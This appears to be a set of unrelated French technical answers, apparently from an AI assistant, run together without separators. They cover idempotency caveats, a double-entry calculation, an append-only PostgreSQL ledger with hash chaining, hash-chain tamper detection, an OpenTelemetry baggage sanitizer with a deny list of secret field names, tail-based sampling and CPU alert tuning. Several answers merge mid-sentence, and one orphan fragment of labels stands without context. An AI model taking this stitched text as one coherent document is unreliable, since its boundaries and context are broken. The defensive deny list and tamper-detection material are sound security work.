- **Le crash reste possible**, avant le `COMMIT` : la propriété obtenue est que ce crash devient sans conséquence, non qu'il disparaisse. Aucune configuration n'est « sans risque ».
- **Vérification à exiger avant mise en production**, tests d'injection de panne, `kill -9` du processus après le premier `INSERT` puis rejeu, et test de concurrence à N clients simultanés sur une même clé, avec assertions sur le compte de lignes de `resource`. Je n'ai exécuté aucun de ces tests ici, et un code de retour d'outil ne prouverait pas le succès réel.
- **Migration d'un système déjà en production** : le passage de `idempotency_key_id` à `NOT NULL` échouera s'il existe déjà des ressources orphelines. Il faut d'abord les inventorier et les réconcilier, jamais les supprimer sans sauvegarde restaurable et accord explicite de l'exploitant, et séparer les droits de migration des droits d'exécution applicatifs.
- **Sur les en-têtes HTTP** : il existe des travaux de normalisation autour d'un en-tête `Idempotency-Key`, mais mes outils hors ligne ne me permettent pas d'en vérifier le statut ni la référence exacte. Je ne cite donc aucun numéro de document.**Hypothèse de sens du virement** : le virement va de A vers B (l'énoncé dit « entre A et B », le sens n'est pas explicité ; si le sens est inversé, les signes s'échangent).
**Principe appliqué** : en partie double, toute écriture est équilibrée, la somme des débits égale la somme des crédits, donc le total des mouvements est nul et le total des soldes est conservé (article « Comptabilité en partie double », Wikipédia FR, encyclopédie locale LANXAS).
**Calcul**
$$\text{mouvement A} = -30, \qquad \text{mouvement B} = +30$$
$$A' = 100 - 30 = 70, \qquad B' = 50 + 30 = 80$$
| Valeur | Résultat |
|---|---|
| Mouvement A | **-30** |
| Mouvement B | **+30** |
| Nouveau A | **70** |
| Nouveau B | **80** |
**Vérification** (calcul exécuté dans le laboratoire local) : somme des mouvements $-30 + 30 = 0$ ; total conservé $70 + 80 = 150 = 100 + 50$.## 1. Diagnostic
Le besoin décrit est un **journal append-only** (ajout seul) : la vérité comptable n'est jamais réécrite, elle est *complétée*. La correction n'efface pas l'erreur, elle la neutralise puis la remplace. C'est exactement le principe de la contre-passation comptable, transposé en contrainte de base de données.
Précision d'honnêteté : la formulation « les quatre opérations ou propriétés attendues » n'est pas un standard nommé que je puisse citer dans une source ; ce que je donne ci-dessous est la décomposition technique cohérente avec l'énoncé (interdiction d'`UPDATE`/`DELETE`, inversion puis réécriture), pas la récitation d'un référentiel officiel. Le contrôle arithmétique, lui, a été réellement exécuté (sortie du laboratoire local reproduite en section 4).
## 2. Les quatre opérations ou propriétés attendues
| # | Opération / propriété | Contenu exact | Ce qui la garantit |
|---|---|---|---|
| 1 | **Insertion seule (append-only)** | Toute écriture est un `INSERT`. Aucune ligne existante n'est modifiée ni supprimée. | Privilèges réduits à `SELECT, INSERT` ; `UPDATE`/`DELETE` révoqués ; déclencheur de refus en défense en profondeur |
| 2 | **Contre-passation (reversal)** | Nouvelle ligne de montant opposé, $m_2 = -m_1$, référençant explicitement l'écriture erronée ($\texttt{reverses\_id} = id_1$), avec auteur, horodatage et motif | Contrainte de référence + déclencheur vérifiant $m_2 + m_1 = 0$ et l'unicité de la contre-passation |
| 3 | **Écriture rectificative** | Nouvelle ligne portant le montant juste $m_3$, rattachée au même dossier de correction que la contre-passation | Champ de corrélation (`correction_id`) obligatoire dès que `reverses_id` est présent |
| 4 | **Invariant vérifiable et immuabilité prouvable** | (a) invariant de solde $m_1 + m_2 + m_3 = m_3$ ; (b) partie double équilibrée, $\sum \text{débits} = \sum \text{crédits}$ ; (c) chaînage par condensat $h_i = H(R_i, h_{i-1})$ avec ancrage externe | Colonnes de hachage calculées par déclencheur + ancre conservée hors de portée de l'administrateur de la base |
Point de rigueur sur le 4 (c) : pour détecter une altération de l'enregistrement $R_i$, l'ancre externe doit être un condensat $h_k$ avec $k \ge i$, car seul lui engage cryptographiquement $R_i$. Une ancre antérieure ($h_j$, $j < i$) ne détecte rien : un attaquant disposant du droit d'écriture physique recalculerait toute la chaîne depuis $h_{i-1}$.
## 3. Implémentation PostgreSQL
Ce code n'a pas été exécuté par mes outils (le laboratoire local n'a ni réseau ni serveur de base de données) ; je l'ai raisonné ligne à ligne, il doit être testé avant mise en production.
```sql
-- ============ 1. STRUCTURE ============
CREATE SCHEMA IF NOT EXISTS audit_fin;
CREATE TABLE audit_fin.journal (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
seq bigint NOT NULL, -- position dans la chaîne
ecriture_ref text NOT NULL, -- pièce comptable
compte text NOT NULL,
montant numeric(18,2) NOT NULL, -- signé : + débit, - crédit
devise char(3) NOT NULL DEFAULT 'EUR',
date_valeur date NOT NULL,
auteur text NOT NULL DEFAULT current_user,
cree_le timestamptz NOT NULL DEFAULT clock_timestamp(),
-- correction
reverses_id bigint REFERENCES audit_fin.journal(id),
correction_id uuid, -- lie contre-passation + rectificative
motif text,
-- chaînage
row_hash bytea NOT NULL,
prev_hash bytea NOT NULL,
chain_hash bytea NOT NULL,
CONSTRAINT montant_non_nul CHECK (montant <> 0),
CONSTRAINT motif_si_reversal CHECK (
reverses_id IS NULL
OR (motif IS NOT NULL AND length(btrim(motif)) >= 10
AND correction_id IS NOT NULL)
)
);
-- une écriture ne peut être contre-passée qu'une seule fois
CREATE UNIQUE INDEX journal_reversal_unique
ON audit_fin.journal (reverses_id) WHERE reverses_id IS NOT NULL;
CREATE UNIQUE INDEX journal_seq_unique ON audit_fin.journal (seq);
-- ============ 2. INTERDICTION UPDATE / DELETE ============
CREATE FUNCTION audit_fin.refus_mutation() RETURNS trigger
LANGUAGE plpgsql AS $$
BEGIN
RAISE EXCEPTION
'Journal append-only : % interdit. Utilisez une contre-passation.',
TG_OP USING ERRCODE = '42501';
END $$;
CREATE TRIGGER trg_no_update BEFORE UPDATE ON audit_fin.journal
FOR EACH ROW EXECUTE FUNCTION audit_fin.refus_mutation();
CREATE TRIGGER trg_no_delete BEFORE DELETE ON audit_fin.journal
FOR EACH ROW EXECUTE FUNCTION audit_fin.refus_mutation();
CREATE TRIGGER trg_no_truncate BEFORE TRUNCATE ON audit_fin.journal
FOR EACH STATEMENT EXECUTE FUNCTION audit_fin.refus_mutation();
-- ============ 3. VALIDATION + CHAÎNAGE À L'INSERTION ============
CREATE FUNCTION audit_fin.avant_insert() RETURNS trigger
LANGUAGE plpgsql AS $$
DECLARE
v_prev bytea;
v_seq bigint;
v_orig audit_fin.journal;
BEGIN
-- sérialisation stricte de la chaîne
PERFORM pg_advisory_xact_lock(hashtext('audit_fin.journal'));
SELECT chain_hash, seq INTO v_prev, v_seq
FROM audit_fin.journal ORDER BY seq DESC LIMIT 1;
v_prev := COALESCE(v_prev, sha256(''::bytea));
NEW.seq := COALESCE(v_seq, 0) + 1;
-- règle de contre-passation : montant strictement opposé, même compte/devise
IF NEW.reverses_id IS NOT NULL THEN
SELECT * INTO v_orig FROM audit_fin.journal WHERE id = NEW.reverses_id;
IF NOT FOUND THEN
RAISE EXCEPTION 'Ecriture % introuvable', NEW.reverses_id
USING ERRCODE = '23503';
END IF;
IF v_orig.reverses_id IS NOT NULL THEN
RAISE EXCEPTION 'On ne contre-passe pas une contre-passation (id=%)',
NEW.reverses_id USING ERRCODE = '23514';
END IF;
IF NEW.montant <> -v_orig.montant
OR NEW.compte <> v_orig.compte
OR NEW.devise <> v_orig.devise THEN
RAISE EXCEPTION
'Contre-passation invalide : attendu montant %, compte %, devise %',
-v_orig.montant, v_orig.compte, v_orig.devise
USING ERRCODE = '23514';
END IF;
END IF;
NEW.row_hash := sha256(convert_to(concat_ws('|',
NEW.seq, NEW.ecriture_ref, NEW.compte, NEW.montant::text, NEW.devise,
NEW.date_valeur::text, NEW.auteur,
to_char(NEW.cree_le,'YYYY-MM-DD"T"HH24:MI:SS.USOF'),
coalesce(NEW.reverses_id::text,''), coalesce(NEW.correction_id::text,''),
coalesce(NEW.motif,'')), 'UTF8'));
NEW.prev_hash := v_prev;
NEW.chain_hash := sha256(NEW.prev_hash || NEW.row_hash);
RETURN NEW;
END $$;
CREATE TRIGGER trg_chain BEFORE INSERT ON audit_fin.journal
FOR EACH ROW EXECUTE FUNCTION audit_fin.avant_insert();
-- ============ 4. IAM : MOINDRE PRIVILÈGE ============
-- rôle applicatif : ajoute et lit, rien d'autre
CREATE ROLE app_journal NOLOGIN;
REVOKE ALL ON audit_fin.journal FROM PUBLIC;
GRANT USAGE ON SCHEMA audit_fin TO app_journal;
GRANT SELECT, INSERT ON audit_fin.journal TO app_journal;
-- pas de GRANT UPDATE/DELETE/TRUNCATE, pas de propriété de la table,
-- pas de droit ALTER (sinon le rôle pourrait retirer les déclencheurs)
GRANT USAGE ON ALL SEQUENCES IN SCHEMA audit_fin TO app_journal;
-- rôle auditeur : lecture seule
CREATE ROLE auditeur NOLOGIN;
GRANT USAGE ON SCHEMA audit_fin TO auditeur;
GRANT SELECT ON audit_fin.journal TO auditeur;
```
Procédure de correction, atomique et paramétrée (jamais de concaténation de chaînes) :
```sql
CREATE FUNCTION audit_fin.corriger(
p_id_errone bigint,
p_montant_bon numeric,
p_motif text
) RETURNS uuid
LANGUAGE plpgsql SECURITY DEFINER SET search_path = audit_fin, pg_temp AS $$
DECLARE
v_corr uuid := gen_random_uuid();
v_o audit_fin.journal;
BEGIN
SELECT * INTO v_o FROM audit_fin.journal WHERE id = p_id_errone FOR SHARE;
IF NOT FOUND THEN
RAISE EXCEPTION 'Ecriture % inexistante', p_id_errone;
END IF;
-- (2) contre-passation
INSERT INTO audit_fin.journal
(ecriture_ref, compte, montant, devise, date_valeur,
reverses_id, correction_id, motif)
VALUES (v_o.ecriture_ref, v_o.compte, -v_o.montant, v_o.devise,
v_o.date_valeur, v_o.id, v_corr, p_motif);
-- (3) écriture rectificative
INSERT INTO audit_fin.journal
(ecriture_ref, compte, montant, devise, date_valeur,
correction_id, motif)
VALUES (v_o.ecriture_ref, v_o.compte, p_montant_bon, v_o.devise,
v_o.date_valeur, v_corr, p_motif);
RETURN v_corr; -- les deux lignes ou aucune : une seule transaction
END $$;
REVOKE ALL ON FUNCTION audit_fin.corriger(bigint,numeric,text) FROM PUBLIC;
GRANT EXECUTE ON FUNCTION audit_fin.corriger(bigint,numeric,text) TO app_journal;
```
Vérificateur de chaîne, à faire tourner par le rôle auditeur :
```sql
CREATE VIEW audit_fin.v_chaine_rompue AS
SELECT j.seq, j.id
FROM audit_fin.journal j
LEFT JOIN audit_fin.journal p ON p.seq = j.seq - 1
WHERE j.prev_hash <> COALESCE(p.chain_hash, sha256(''::bytea))
OR j.chain_hash <> sha256(j.prev_hash || j.row_hash);
```
## 4. Vérification arithmétique exécutée
Sortie réelle du laboratoire local (erreur de saisie 1 200,00 au lieu de 1 020,00) :
```
E-1 ecriture erronee 1200.00
E-2 contre-passation -1200.00
E-3 ecriture rectificative 1020.00
Solde net apres correction : 1020.0
Egal au montant correct ? True
Nombre d'operations d'ecriture (INSERT) : 3
Nombre d'UPDATE/DELETE : 0
```
L'invariant est donc satisfait sur ce cas :
$$m_1 + m_2 + m_3 = 1200{,}00 - 1200{,}00 + 1020{,}00 = 1020{,}00 = m_3$$
Rigueur : cette vérification porte sur **un** cas numérique. Elle ne prouve pas la propriété universelle. La preuve générale est algébrique et immédiate, par $m_2 = -m_1$ imposé par le déclencheur, donc $m_1 + m_2 = 0$ et le solde résiduel vaut exactement $m_3$ ; la récurrence sur la chaîne de hachage, elle, repose sur l'unicité de `seq` et sur `prev_hash = chain_hash` du prédécesseur, propriété maintenue à chaque insertion.
Tests à écrire avant production, avec assertions réelles :
| Test | Attendu |
|---|---|
| `UPDATE journal SET montant = 0` | exception, code `42501` |
| `DELETE FROM journal WHERE id = 1` | exception, code `42501` |
| contre-passation avec $m_2 \ne -m_1$ | exception, code `23514` |
| deuxième contre-passation de la même écriture | violation d'index unique |
| contre-passation d'une contre-passation | exception |
| `corriger()` interrompue après la 1re insertion | rollback complet, 0 ligne ajoutée |
| `SELECT count(*) FROM v_chaine_rompue` | 0 |
## 5. Risques résiduels, à ne pas masquer
Aucune de ces mesures ne rend le journal « inviolable ». Elles rendent l'altération détectable sous hypothèses.
1. **Superutilisateur et propriétaire de la table** : ils peuvent exécuter `ALTER TABLE ... DISABLE TRIGGER`, `session_replication_role = replica`, ou `DROP TRIGGER`. Le contrôle applicatif est donc contournable par l'administrateur. Atténuation : séparer strictement le rôle de migration (DDL, hors ligne, sous double validation) du rôle d'exécution, et journaliser les événements DDL (`log_statement = 'ddl'`) vers un collecteur distant.
2. **Accès physique aux fichiers ou aux sauvegardes** : réécriture hors du moteur, aucun déclencheur ne s'exécute. Seul l'ancrage externe des condensats détecte l'écart.
3. **Ancre mal choisie** : une ancre $h_j$ avec $j < i$ ne protège pas $R_i$. Publiez périodiquement le dernier $h_k$ chez un tiers ou sur un support en écriture unique, et conservez la trace de la date de publication.
4. **Force du condensat** : une concordance d'empreinte SHA-256 n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement par comptage ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction.
5. **`SECURITY DEFINER`** : la fonction `corriger` s'exécute avec les droits de son propriétaire. Le `search_path` figé est indispensable, il est présent ci-dessus ; sans lui, la fonction est vulnérable au détournement de résolution de nom.
6. **Champ `motif` libre** : donnée d'origine externe, à échapper à l'affichage (contexte HTML, attribut, URL) et à ne jamais interpoler dans du SQL. Ne jamais y stocker de donnée personnelle non nécessaire, principe de minimisation.
7. **Portée métier** : ce dispositif assure l'intégrité et la traçabilité. Il n'assure ni l'authenticité forte de l'auteur (il faudrait une signature côté client et une authentification multifacteur sur les corrections), ni la confidentialité, ni la disponibilité. Et il ne dit rien de la *justesse comptable* de $m_3$, qui reste un jugement humain à valider en double contrôle.
8. **Conformité** : la conservation, la durée de rétention et la valeur probante d'un tel journal relèvent du droit applicable et des normes d'audit de votre juridiction. Je ne dispose pas ici d'une source fiable à citer sur ce point, faites-le valider par un professionnel compétent.
## 6. Prochaine décision
Deux points à trancher avant d'écrire la migration : le périmètre de l'ancrage externe (fréquence de publication du dernier $h_k$ et tiers dépositaire), et le mode d'équilibrage en partie double (une ligne signée par mouvement, comme ci-dessus, ou deux lignes débit/crédit avec contrainte d'équilibre par pièce). Créez un point de restauration avant tout déploiement du schéma, et prévoyez le script de retour arrière, la suppression d'un journal partiellement peuplé n'étant pas une option acceptable.## Cadre
Journal chaîné : $h_0$ = valeur d'initialisation, et pour chaque entrée
$$h_i = H(h_{i-1} \,\|\, E_i), \qquad i = 1,2,3$$
La **tête** est le dernier condensat, ici $h_3$, éventuellement ancrée à l'extérieur (dépôt hors de portée de l'écrivain du journal).
**Scénario imposé** : le contenu de $E_2$ est modifié, mais les condensats stockés $h_1, h_2, h_3$ ne sont **pas** recalculés. C'est donc une falsification *naïve* (attaquant sans capacité de réécriture de la chaîne).
Le vérificateur relit les entrées et recalcule chaque maillon en réutilisant les condensats **stockés** comme valeurs précédentes.
## Les quatre vérifications
| # | Test | Calcul | Résultat | Interprétation |
|---|------|--------|----------|----------------|
| H1 | $H(h_0 \,\|\, E_1) \overset{?}{=} h_1^{stocké}$ | dépend de $E_1$ seul | **PASSE** | $E_1$ intacte et $h_1$ cohérent |
| H2 | $H(h_1^{stocké} \,\|\, E_2) \overset{?}{=} h_2^{stocké}$ | dépend de $E_2$ | **ÉCHOUE** | $E_2$ a été altérée : localisation exacte de la falsification |
| H3 | $H(h_2^{stocké} \,\|\, E_3) \overset{?}{=} h_3^{stocké}$ | dépend de $E_3$ et de $h_2^{stocké}$ | **PASSE** | ne prouve rien sur $E_2$, car il consomme le $h_2$ stocké, non le $h_2$ recalculé |
| Tête | $h_3^{stocké} \overset{?}{=} h_3^{ancre\ externe}$ | comparaison à l'ancre | **PASSE** | aucun condensat n'a été touché, donc la tête est inchangée |
Vérification exécutée localement (SHA-256, laboratoire Python LANXAS) : sortie obtenue `H1: True | H2: False | H3: True | tete==ancre: True`, avec $h_2^{stocké}$ commençant par `cd048edb…` contre `8e2d2b20…` pour le $h_2$ recalculé, assertion validée.
## Diagnostic
**Une seule vérification échoue, H2, et elle suffit à établir l'atteinte à l'intégrité.**
Trois points de rigueur, à ne pas confondre :
1. **H3 qui passe n'est pas un blanc-seing.** Il ne vaut que parce que le vérificateur a chaîné sur $h_2^{stocké}$. Si l'on chaîne au contraire sur les condensats **recalculés**, l'échec se propage : $h_2^{recalc} \neq h_2^{stocké}$ entraîne $h_3^{recalc} \neq h_3^{stocké}$, et la tête recalculée diverge elle aussi. Les deux modes de vérification sont légitimes, mais ils ne disent pas la même chose : le chaînage sur valeurs stockées **localise** le maillon fautif, le chaînage sur valeurs recalculées **détecte** globalement sans localiser.
2. **La tête qui coïncide avec l'ancre ne prouve pas l'intégrité du contenu.** Ici l'ancre est satisfaite alors que $E_2$ est falsifiée, précisément parce que les condensats n'ont pas été retouchés. L'ancre externe engage les condensats, pas les entrées : elle n'a de valeur probante qu'associée au recalcul complet à partir des entrées.
3. **Cas de l'attaquant compétent, à distinguer nettement.** S'il avait recalculé $h_2, h_3$ après modification de $E_2$, alors H1, H2, H3 passeraient toutes les trois et seule la comparaison de la tête à une ancre externe $h_k$ avec $k \geq 2$, conservée hors de sa portée, révélerait la falsification. C'est la raison d'être de l'ancrage : un condensat antérieur, $h_j$ avec $j < 2$, ne détecterait rien, l'attaquant reconstruisant toute la chaîne à partir de $h_1$.
## Limites
Une concordance de condensat n'est pas une preuve mathématique absolue d'identité des contenus, des collisions existent nécessairement pour toute fonction de hachage à sortie finie ; c'est une assurance cryptographique très forte sous les hypothèses de résistance de la fonction employée.
La démonstration ci-dessus établit l'atteinte à l'**intégrité** de $E_2$. Elle ne dit rien de l'**authenticité** (qui a écrit, faute de signature ou de MAC à clé, un attaquant maîtrisant le stockage peut recalculer la chaîne), ni de la **confidentialité**, ni de la **disponibilité**. Un journal chaîné sans clé secrète ni horodatage signé ne résiste pas à un adversaire ayant accès en écriture à l'ensemble du fichier.
Enfin, le format exact de $H$, ordre de concaténation, séparateur, valeur de $h_0$, est ici une convention de mon exemple d'exécution ; il doit être fixé et documenté dans le système réel, faute de quoi la vérification n'est pas reproductible.## Classement demandé
| Ordre | Champ | Décision | Nature du champ |
|---|---|---|---|
| 1 | `user.email` | **HASH** | Identifiant direct de personne physique |
| 2 | `order.id` | **KEEP** | Identifiant métier, pseudonyme indirect |
| 3 | `auth.token` | **DROP** | Secret d'authentification |
| 4 | `region` | **KEEP** | Attribut de faible cardinalité, utile au routage et à l'analyse |
Le classement que vous proposez, HASH, KEEP, DROP, KEEP, est cohérent avec les principes de protection des données, sous les réserves précisées ci-dessous.
## Justification champ par champ
**`user.email` , HASH.** Une adresse de courriel est une donnée à caractère personnel identifiante ; le principe de minimisation impose de ne pas la propager en clair à cinq services alors qu'un pseudonyme stable suffit à corréler les traces (article encyclopédique *Règlement général sur la protection des données*, principe de minimisation ; article *Anonymisation* sur la distinction entre pseudonymisation et anonymisation).
Point critique, souvent manqué : un hachage **nu** (`SHA-256(email)`) n'est **pas** une pseudonymisation robuste. L'espace des adresses de courriel est énumérable, donc une attaque par dictionnaire ou par table précalculée réidentifie trivialement l'empreinte. Utilisez un MAC à clé, par exemple $\text{HMAC-SHA256}(k, \text{email})$, la clé $k$ étant conservée dans un coffre à secrets et non distribuée aux services consommateurs (article *HMAC*).
Corollaire juridique : le résultat reste une **donnée pseudonymisée**, donc toujours une donnée personnelle relevant du RGPD, et non une donnée anonyme au sens du considérant 26 rappelé par l'article *Anonymisation*. Ne le présentez jamais comme « anonymisé ».
**`order.id` , KEEP.** C'est la clé de corrélation métier qui justifie l'existence du baggage : sans elle, la trace perd sa valeur de diagnostic. Elle n'est pas identifiante par elle-même. Réserve : reliée à la base de commandes, elle redevient réidentifiante, donc elle est légitime dans un périmètre **interne**, mais elle ne doit pas partir vers un collecteur tiers non couvert par un contrat de sous-traitance, ni figurer dans un lien public.
**`auth.token` , DROP.** Décision non négociable, et pour deux raisons distinctes qu'il faut séparer.
1. **Confidentialité et authenticité** : un jeton porteur (*bearer*) est un secret réutilisable ; sa présence dans le baggage le diffuse aux cinq services, aux exportateurs, aux journaux et au système de stockage des traces, ce qui multiplie la surface de compromission et permet une usurpation.
2. **Hacher ne suffit pas** : l'empreinte d'un jeton reste un identifiant de session stable, donc un traceur ; et en cas de rejeu de la valeur d'origine, l'empreinte permet de confirmer la correspondance. Pour du diagnostic, si un identifiant de session est indispensable, propagez un identifiant **distinct** émis à cet usage (`session.trace_ref`), sans lien calculable avec le jeton.
Si un jeton a déjà circulé dans le baggage, traitez-le comme compromis : révocation et rotation, plus purge des journaux et des traces.
**`region` , KEEP.** Faible cardinalité, utilité opérationnelle réelle (routage, analyse de latence, résidence des données), risque de réidentification faible. Réserve : la décision KEEP ne tient que si la granularité reste large (`eu-west`, `fr`). Si `region` désigne en pratique une localité fine, elle devient une donnée de localisation quasi identifiante par croisement, et il faut alors la généraliser plutôt que la conserver telle quelle.
## Mise en œuvre
Le point d'application correct est le **producteur**, à l'entrée du système, avant l'injection dans le contexte de propagation. Une purge effectuée en aval, chez le collecteur, laisse la donnée circuler en clair sur les cinq services et dans leurs journaux locaux : c'est trop tard.
Politique déclarative, à appliquer en amont et à versionner :
```yaml
# baggage-policy.yaml, appliquée au producteur, refus par defaut
version: 1
default_action: DROP # allow-list stricte : tout champ non liste est supprime
fields:
- name: user.email
action: HASH
algorithm: HMAC-SHA256
key_ref: vault://kv/otel/baggage-pseudonym-key # jamais la cle en clair
output_field: user.pseudo_id
truncate_hex: 32 # 128 bits, suffisant contre les collisions fortuites
- name: order.id
action: KEEP
scope: internal_only # interdit d'export vers collecteur tiers
- name: auth.token
action: DROP
on_detection: alert # incident de securite, pas un simple filtrage
- name: region
action: KEEP
max_granularity: country
```
Implémentation de référence, en Python, du processeur de baggage :
```python
import hmac, hashlib, logging
from typing import Dict
logger = logging.getLogger(__name__)
KEEP_FIELDS = {"order.id", "region"}
HASH_FIELDS = {"user.email": "user.pseudo_id"}
SECRET_FIELDS = {"auth.token", "authorization", "api_key", "password", "set-cookie"}
def _pseudonymize(value: str, key: bytes) -> str:
"""HMAC-SHA256 tronque a 128 bits. Cle jamais journalisee."""
digest = hmac.new(key, value.encode("utf-8"), hashlib.sha256).hexdigest()
return digest[:32]
def sanitize_baggage(baggage: Dict[str, str], key: bytes) -> Dict[str, str]:
"""Refus par defaut : seuls les champs explicitement autorises survivent."""
out: Dict[str, str] = {}
for raw_name, value in baggage.items():
name = raw_name.strip().lower()
if name in SECRET_FIELDS:
# On journalise le NOM du champ, jamais sa valeur ni son empreinte.
logger.warning("secret_in_baggage_dropped field=%s", name)
continue
if name in HASH_FIELDS:
out[HASH_FIELDS[name]] = _pseudonymize(value, key)
continue
if name in KEEP_FIELDS:
out[name] = value
continue
logger.debug("baggage_field_dropped_by_default field=%s", name)
return out
```
Tests à assertions réelles, couvrant les quatre cas et la propriété de stabilité :
```python
import pytest
from sanitizer import sanitize_baggage
KEY = b"test-key-not-for-production"
BAGGAGE = {
"user.email": "[email protected]",
"order.id": "ORD-99182",
"auth.token": "eyJhbGciOiJIUzI1NiJ9.payload.sig",
"region": "eu-west",
}
def test_les_quatre_champs_sont_traites_dans_l_ordre_attendu():
out = sanitize_baggage(BAGGAGE, KEY)
assert "user.email" not in out # HASH : original supprime
assert len(out["user.pseudo_id"]) == 32 # HASH : pseudonyme present
assert out["order.id"] == "ORD-99182" # KEEP
assert "auth.token" not in out # DROP
assert out["region"] == "eu-west" # KEEP
assert set(out) == {"user.pseudo_id", "order.id", "region"}
def test_pseudonyme_stable_donc_correlable_entre_les_cinq_services():
a = sanitize_baggage(BAGGAGE, KEY)["user.pseudo_id"]
b = sanitize_baggage(BAGGAGE, KEY)["user.pseudo_id"]
assert a == b
def test_cle_differente_donne_pseudonyme_different():
a = sanitize_baggage(BAGGAGE, KEY)["user.pseudo_id"]
b = sanitize_baggage(BAGGAGE, b"autre-cle")["user.pseudo_id"]
assert a != b
@pytest.mark.parametrize("champ", ["Authorization", "API_KEY", "password"])
def test_variantes_de_secrets_supprimees_insensiblement_a_la_casse(champ):
assert sanitize_baggage({champ: "s3cr3t"}, KEY) == {}
def test_champ_inconnu_supprime_par_defaut():
assert sanitize_baggage({"user.ssn": "1234"}, KEY) == {}
def test_valeur_du_secret_absente_des_logs(caplog):
sanitize_baggage(BAGGAGE, KEY)
assert "eyJhbGciOiJIUzI1NiJ9" not in caplog.text
```
Je n'ai pas exécuté ce code, je ne peux donc pas affirmer que ces tests passent ; ils sont raisonnés ligne à ligne mais demandent une exécution réelle avant tout déploiement.
## Vérification opérationnelle
1. **Capture en périphérie** : sur chacun des cinq services, inspectez l'en-tête de propagation reçu et vérifiez l'absence de `auth.token` et de `user.email`. Un contrôle sur le seul service d'entrée ne prouve rien pour les quatre autres.
2. **Test négatif en pré-production** : injectez un jeton sentinelle de valeur connue, puis recherchez cette chaîne dans les journaux, le stockage des traces et les exports. Aucune occurrence attendue.
3. **Détecteur permanent** : une règle qui alerte sur tout nom de champ inattendu dans le baggage, car le risque principal est l'ajout d'un champ nouveau par une équipe qui ignore la politique.
4. **Rotation de la clé HMAC** : documentez le fait qu'une rotation casse la corrélation historique des pseudonymes. Choix à assumer explicitement, avec conservation d'une clé précédente si la corrélation sur une fenêtre glissante est nécessaire.
## Risques et limites
- **Le baggage est propagé sans authentification** ni chiffrement propre : un service intermédiaire peut lire et modifier les champs. La confidentialité en transit repose entièrement sur TLS, l'intégrité du contenu n'est pas garantie ; ne fondez donc aucune décision d'autorisation sur une valeur lue dans le baggage.
- **Contrôle d'autorisation côté serveur** : la suppression de `auth.token` du baggage ne dispense pas chaque service de vérifier les droits par lui-même, à partir de son propre canal d'authentification.
- **Pseudonymat et réidentification** : `user.pseudo_id`, `order.id` et `region` combinés dans une même trace peuvent suffire à réidentifier une personne par croisement avec la base de commandes. La pseudonymisation réduit le risque, elle ne le supprime pas.
- **Journaux applicatifs** : nettoyer le baggage laisse intact le risque qu'un service journalise indépendamment le courriel ou le jeton reçu dans le corps de la requête. Le sujet doit être traité séparément.
- **Base de connaissance** : ma description du mécanisme de baggage repose sur ma connaissance du modèle de traçage distribué, que mes sources locales n'ont pas permis de confirmer ; référez-vous à la spécification officielle de votre bibliothèque de traçage pour les détails d'API et les limites de taille. Les principes de minimisation et la distinction pseudonymisation/anonymisation, eux, sont étayés par les articles encyclopédiques *Règlement général sur la protection des données* et *Anonymisation*, et le recours au MAC à clé par l'article *HMAC*.## Défaut
L’échantillonnage **head-based** décide avant de connaître le résultat : chaque erreur n’a que $1\%$ de chances d’être conservée. Pour $E$ erreurs, la probabilité de n’en voir aucune est :
$$P(0)=0{,}99^E$$
L’échantillon reste statistiquement non biaisé, mais sa couverture est insuffisante pour diagnostiquer des événements rares.
## Alternative
Utiliser un **tail-based sampling** : regrouper tous les spans d’une trace, attendre son statut final, puis décider de sa conservation. Les spans d’un même `trace_id` doivent être routés vers le même collecteur. Des métriques d’erreur exhaustives restent nécessaires pour la détection et le comptage.
## Règle de conservation
- Conserver toutes les traces contenant une erreur, une exception ou un code HTTP $5xx$.
- Conserver les traces anormalement lentes ou explicitement marquées pour le débogage.
- Échantillonner les autres à faible taux, par exemple $1\%$.
- En cas de tempête d’erreurs, limiter par signature et par fenêtre temporelle tout en gardant des exemplaires représentatifs.
- Conserver intégralement chaque trace sélectionnée, et non des spans isolés.
## Coût
- **Mémoire** : tampon nécessaire avant décision, approximativement
$$R_{\text{spans}}\times W\times T_{\text{span}}$$
- **CPU et réseau** : tous les spans atteignent le collecteur et les politiques sont évaluées.
- **Latence** : les traces ne deviennent disponibles qu’après la fenêtre de décision $W$.
- **Stockage** : hausse limitée au volume des erreurs, traces lentes et autres classes prioritaires conservées ; capturer toutes les erreurs très rares coûte généralement peu en stockage.route LOW method LOW status LOW request_id HIGH
## Diagnostic
Le symptôme décrit est une alerte déclenchée sur une condition **instantanée** (`cpu > 80 %`) évaluée à chaque cycle, sans qualification de durée, sans qualification d'impact, sans agrégation et sans différenciation de destinataire. Une saturation de 10 s sur une fenêtre de 60 s représente
$$\frac{10}{60} = \frac{1}{6} \approx 16,7\ \%$$
du temps d'observation : c'est un transitoire normal (compilation, GC, cron, scale-up), pas un incident. Le résultat est une fatigue d'alerte qui dégrade la détection des vrais incidents. Le principe correct est celui rappelé par le référentiel ITIL : la priorité d'un incident se calcule à partir de son impact et de son urgence, et l'objectif est de rétablir le service avec un minimum d'impact sur les opérations courantes (Wikipédia FR, « Gestion des incidents dans un centre de calcul », sections « Gestion des incidents - Processus » et « Priorité d'un incident »).
Hypothèse de travail que je signale explicitement : je suppose une pile de supervision de type Prometheus plus Alertmanager, car c'est le cas le plus répandu et le seul que je peux étayer par une source ici. Si votre pile est Zabbix, Datadog ou Nagios, les quatre principes restent valables, seule la syntaxe change.
---
## 1. Durée : passer d'un point instantané à une condition persistante
Deux mécanismes se cumulent, et ils ne font pas la même chose.
**a) Lisser la métrique** sur une fenêtre, pour qu'un pic de 10 s ne fasse pas franchir le seuil :
$$\text{charge}_{5\text{min}} = 100 \times \left(1 - \operatorname{avg\,by}(\text{instance})\big(\text{rate}(\text{node\_cpu\_seconds\_total}\{\text{mode}="idle"\}[5m])\big)\right)$$
Avec un lissage sur 5 min, une saturation de 10 s à 100 % sur un fond à 40 % donne :
$$\frac{10 \times 100 + 290 \times 40}{300} = 42\ \%$$
soit très en dessous de 80 %. Le pic est mathématiquement absorbé.
**b) Exiger une persistance** avec la clause de durée : Prometheus associe à l'expression PromQL « une durée de temps permettant de caractériser le temps nécessaire pour déclencher une alerte » (Wikipédia FR, « Prometheus (logiciel) », section « Alertes et surveillance »).
```yaml
groups:
- name: cpu
rules:
- alert: CPUSaturationWarning
expr: |
100 * (1 - avg by (instance) (
rate(node_cpu_seconds_total{mode="idle"}[5m])
)) > 85
for: 15m
labels:
severity: warning
annotations:
